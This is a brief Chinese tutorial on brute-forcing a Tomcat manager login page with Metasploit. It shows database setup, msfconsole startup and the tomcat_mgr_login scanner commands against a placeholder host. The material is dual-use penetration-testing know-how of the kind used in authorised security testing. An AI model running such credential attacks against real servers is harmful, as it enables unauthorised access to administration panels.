metasploit进行tomcat爆破小结

查看metasploit中的tomcat脚本

对于tomcat框架的网站，默认tomcat的管理后台在http://target/manager/html 下。而如果管理员使用弱口令进行登陆的话，则可能通过爆破的方式进行登入。

据说也可以通过burpsuite的方式进行爆破，但是我用burpsuite好像没能抓到我想要的包，也就没深究（？），改用metasploit 。

启动metasploit出现问题

我按照网站上搜索到的metasploit启动方法进行操作，发现了如上图所示的问题。继续搜索发现在kali 2.0版本之后没有了metasploit服务，所以无法service metaspoit start。
正确的启动姿势如下：

正确启动metasploit的姿势

• 第一步不变，启动postgresql数据库：/etc/init.d/postgresql start；或者 service postgresql start；
• 初始化MSF数据库（关键步骤！）：msfdb init；
• 运行msfconsole：msfconsole；
• 在msf中查看数据库连接状态：db_status。

加载辅助模块

加载辅助模块

msf > search tomcat_mgr
msf > use auxiliary/scanner/http/tomcat_mgr_login

之后可用 show options命令查看相关可设置项。

show options

设置完成之后即可开始爆破

msf auxiliary(tomcat_mgr_login) > set RHOSTS xxx.xxx.xxx.xx
msf auxiliary(tomcat_mgr_login) > set RPORT 80
msf auxiliary(tomcat_mgr_login) > run


以上就是基本的操作了。